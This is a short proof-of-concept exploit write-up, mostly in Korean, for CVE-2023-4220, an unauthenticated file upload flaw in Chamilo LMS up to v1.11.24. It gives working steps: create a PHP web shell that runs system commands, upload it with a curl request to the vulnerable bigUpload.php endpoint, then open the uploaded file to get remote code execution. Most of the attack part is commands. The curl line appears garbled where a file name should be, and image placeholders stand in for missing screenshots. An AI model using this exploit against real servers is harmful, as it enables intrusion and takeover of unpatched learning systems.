
Proof-of-concept exploit for CVE-2023-4220: unauthenticated file upload in Chamilo LMS enabling stored XSS and remote code execution via web shell deployment.
Chamilo LMS <= v1.11.24의 /main/inc/lib/javascript/bigupload/inc/bigUpload.php 대용량 파일 업로드 기능의 무제한 파일 업로드로 인해, 인증되지 않은 공격자가 웹 셸 업로드를 통해 저장형 XSS(Cross-Site Scripting) 공격을 수행하고 원격 코드 실행(RCE)을 달성할 수 있습니다.
/main/inc/lib/javascript/bigupload/inc/bigUpload.php의 대용량 파일 업로드 기능은 웹 루트 내의 /main/inc/lib/javascript/bigupload/files 디렉터리에 임의의 파일 업로드를 허용합니다.
/main/inc/lib/javascript/bigupload/files 디렉터리가 존재하는 경우 다음과 같이 임의의 파일을 업로드할 수 있습니다.
악성 PHP 파일 생성: echo '<?php system("whoami"); ?>' > dollarboysushil.php
.png)
이후 다음 명령을 실행하여 이 파일을 업로드할 수 있습니다.
`$ curl -F '[email protected]' 'http://<website>/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'`
.png)
/main/inc/lib/javascript/bigupload/files 디렉터리를 방문하여 파일이 업로드되었는지 확인할 수 있습니다.
.png)
PHP 파일을 클릭하여 실행하면 whoami 명령의 출력 결과를 확인할 수 있습니다.
.png)